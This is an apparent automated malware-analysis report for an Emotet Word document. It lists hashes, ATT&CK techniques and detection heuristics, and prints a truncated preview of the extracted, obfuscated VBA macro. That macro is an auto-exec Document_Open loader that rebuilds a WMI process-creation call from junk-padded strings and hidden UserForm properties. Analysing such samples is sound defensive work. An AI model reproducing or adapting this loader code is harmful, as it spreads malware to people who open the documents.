Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4e36017a6faa9045…

MALICIOUS

Office (OLE)

236.4 KB Created: 2020-02-07 13:40:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 633be315a10c0ffdf539354710c1938c SHA-1: 1af76ee5cb0fb997354d120469821e6b1b161bac SHA-256: 4e36017a6faa9045c0e8f13548b8ea61fb6a91e8191ec6867a53c64badfcf6a1
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV signature also explicitly identifies it as Emotet. The macros likely execute a command stager to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7580201-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7580201-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10822 bytes
SHA-256: 118be45ec3b2dfe63391f034c8a12e159718c7d411498b5b4a41bb83a584c243
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bgxfwvfiyfb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Hxzvhpvip.Zjubqopjbb
End Sub

Attribute VB_Name = "Lhafsfau"
Attribute VB_Base = "0{F69439B8-0E31-436E-B11C-9D576952CC1D}{83935A3A-65C6-4AED-8CBF-D7A628796084}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hxzvhpvip"
Function Zjubqopjbb()
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Mzxyolamfu = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Lhafsfau.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Lhafsfau.Acywyscqdjdan + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3"
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Xvyrezurdpcye = Pwkfxyawmzk(Mzxyolamfu)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Set Rssizyvlopy = CreateObject(Xvyrezurdpcye)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Gahqmovm = Lhafsfau.Ldkqwbeld.Tag
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Ccxnflxsx = Xvyrezurdpcye + ChrW(Lhafsfau.Zoom + 9 + 6) + Lhafsfau.Jabtauno.Tag + Gahqmovm
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI
... (truncated)

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